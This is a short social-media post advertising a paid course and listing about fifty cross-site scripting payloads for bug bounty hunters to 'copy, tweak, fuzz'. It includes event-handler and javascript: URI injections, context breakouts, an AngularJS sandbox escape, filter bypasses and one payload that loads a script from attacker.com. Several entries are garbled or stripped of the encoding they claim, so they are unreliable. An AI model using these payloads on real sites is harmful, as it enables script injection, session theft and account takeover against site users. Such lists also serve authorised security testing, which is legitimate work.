🔥 Hunting XSS in 2026? Here are 50 XSS vectors every bug bounty hunter should test. Copy, tweak, fuzz, profit. 💰👇
thexssrat.podia.com/ultimate…
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<math href="javascript:alert(1)">CLICK</math>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<object data=javascript:alert(1)>
<embed src=javascript:alert(1)>
<link rel=stylesheet href=javascript:alert(1)>
<form><button formaction=javascript:alert(1)>CLICK</button></form>
<input autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<isindex type=image src=1 onerror=alert(1)>
<meta http-equiv=refresh content="0;url=javascript:alert(1)">
javascript:alert(1) (URL parameter injection)
" onmouseover=alert(1) x=" (attribute breakout)
'><svg onload=alert(1)> (HTML context breakout)
</script><script>alert(1)</script> (script context breakout)
-alert(1)- inside JS eval sinks
${alert(1)} (template literal injection)
{{constructor.constructor('alert(1)')()}} (AngularJS sandbox escape)
"><img src=x onerror=alert(1)> (DOM insertion)
location='javascript:alert(1)'
setTimeout('alert(1)')
Set.constructor('alert(1)')()
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set onbegin=alert(1) attributeName=x>
<img src=1 href=1 onerror="javascript:alert(1)">
data:text/html,<script>alert(1)</script>
data:image/svg xml,<svg xmlns="
w3.org/2000/svg" onload="alert(1)"/>
<base href=javascript:alert(1)//>
<img src=x:alert(1) onerror=eval(src)>
<a href="jAvAsCrIpT:alert(1)">CLICK</a>
<a href="javascript:alert(1)">CLICK</a>
(URL encoded)
<script>alert(1)</script> (HTML encoded)
<img src=x onerror=confirm?.(1)>
<svg/onload=alert?.(1)>
<script>top</script>
<img src=x oneonerrorrror=alert(1)> (filter bypass fuzzing)
<div style="background-image:url(javascript:alert(1))">
<img srcset="x 1x, javascript:alert(1) 2x">
<script src=//attacker.com/xss.js></script> (external injection)
<iframe srcdoc="<script>alert(1)</script>"></iframe>
#bugbounty #xss #infosec #pentesting #cybersecurity #appsec #hacking #redteam #wehack #securitytesting